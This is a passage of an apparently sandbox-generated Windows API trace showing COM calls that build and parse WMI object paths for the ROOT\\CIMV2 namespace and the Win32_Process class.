ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce7160) returned 0x0 [0162.754] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce7160, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0162.754] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce7160, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc94db0) returned 0x0 [0162.755] WbemDefPath:IUnknown:Release (This=0x1bce7160) returned 0x0 [0162.755] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94db0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc94db0) returned 0x0 [0162.755] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94db0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0162.755] WbemDefPath:IUnknown:AddRef (This=0x1bc94db0) returned 0x3 [0162.755] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94db0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0162.755] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94db0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0162.755] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94db0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce7260) returned 0x0 [0162.755] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce7260, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.755] WbemDefPath:IUnknown:Release (This=0x1bce7260) returned 0x3 [0162.755] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0162.755] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0162.755] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94db0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0162.756] WbemDefPath:IUnknown:Release (This=0x1bc94db0) returned 0x2 [0162.756] WbemDefPath:IUnknown:Release (This=0x1bc94db0) returned 0x1 [0162.756] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0162.756] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0162.756] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94db0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc94db0) returned 0x0 [0162.756] WbemDefPath:IUnknown:AddRef (This=0x1bc94db0) returned 0x3 [0162.756] WbemDefPath:IUnknown:Release (This=0x1bc94db0) returned 0x2 [0162.756] WbemDefPath:IWbemPath:SetText (This=0x1bc94db0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0162.756] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95170, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0162.756] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94db0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0162.756] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0162.756] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94db0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0162.756] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc95170) returned 0x0 [0162.756] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94db0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0162.756] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94db0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0162.756] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94db0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0162.756] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc95170, uIndex=0x0, pszName="ROOT") returned 0x0 [0162.756] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94db0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0162.756] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94db0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0162.756] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc95170, uIndex=0x1, pszName="CIMV2") returned 0x0 [0162.756] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc95170, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0162.756] WbemDefPath:IWbemPath:SetClassName (This=0x1bc95170, Name="Win32_Process") returned 0x0 [0162.756] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc95170, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0162.757] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95170, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0162.757] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95170, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0162.757] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95170, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0162.757] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc95170, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0162.757] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95170, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0162.757] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95170, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0162.757] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95170, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0162.757] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a350, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0162.757] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0162.757] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0162.757] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95170, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0162.757] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95170, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0162.757] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0162.757] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0162.757] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0162.757] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.759] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bce7400) returned 0x0 [0162.760] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce7400, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0162.760] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce7400, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc94930) returned 0x0 [0162.760] WbemDefPath:IUnknown:Release (This=0x1bce7400) returned 0x0 [0162.760] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94930, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc94930) returned 0x0 [0162.760] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94930, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0162.760] WbemDefPath:IUnknown:AddRef (This=0x1bc94930) returned 0x3 [0162.760] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94930, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0162.760] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94930, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0162.760] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94930, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bce7360) returned 0x0 [0162.760] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce7360, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.761] WbemDefPath:IUnknown:Release (This=0x1bce7360) returned 0x3 [0162.761] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0162.761] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0162.761] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94930, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0162.761] WbemDefPath:IUnknown:Release (This=0x1bc94930) returned 0x2 [0162.761] WbemDefPath:IUnknown:Release (This=0x1bc94930) returned 0x1 [0162.761] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0162.761] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0162.761] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94930, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc94930) returned 0x0 [0162.761] WbemDefPath:IUnknown:AddRef (This=0x1bc94930) returned 0x3 [0162.761] WbemDefPath:IUnknown:Release (This=0x1bc94930) returned 0x2 [0162.761] WbemDefPath:IWbemPath:SetText (This=0x1bc94930, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0162.761] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a350, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0162.761] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0162.761] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.761] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0162.761] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0162.761] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0162.762] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.764] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce73a0) returned 0x0 [0162.764] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce73a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0162.764] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce73a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc94570) returned 0x0 [0162.764] WbemDefPath:IUnknown:Release (This=0x1bce73a0) returned 0x0 [0162.764] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94570, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc94570) returned 0x0 [0162.764] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94570, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0162.764] WbemDefPath:IUnknown:AddRef (This=0x1bc94570) returned 0x3 [0162.764] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94570, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0162.764] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94570, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0162.764] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94570, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce72e0) returned 0x0 [0162.765] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce72e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.765] WbemDefPath:IUnknown:Release (This=0x1bce72e0) returned 0x3 [0162.765] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0162.765] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0162.765] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94570, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0162.765] WbemDefPath:IUnknown:Release (This=0x1bc94570) returned 0x2 [0162.765] WbemDefPath:IUnknown:Release (This=0x1bc94570) returned 0x1 [0162.765] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0162.765] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0162.765] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94570, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc94570) returned 0x0 [0162.765] WbemDefPath:IUnknown:AddRef (This=0x1bc94570) returned 0x3 [0162.765] WbemDefPath:IUnknown:Release (This=0x1bc94570) returned 0x2 [0162.765] WbemDefPath:IWbemPath:SetText (This=0x1bc94570, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0162.765] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94930, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0162.765] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94570, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0162.765] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0162.765] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94570, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0162.765] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc94930) returned 0x0 [0162.765] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94570, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0162.765] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94570, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0162.765] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94570, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0162.766] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc94930, uIndex=0x0, pszName="root") returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94570, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94570, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0162.766] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc94930, uIndex=0x1, pszName="cimv2") returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc94570, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc94570, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc94930, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc94930, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94930, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a350, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.766] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a350, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 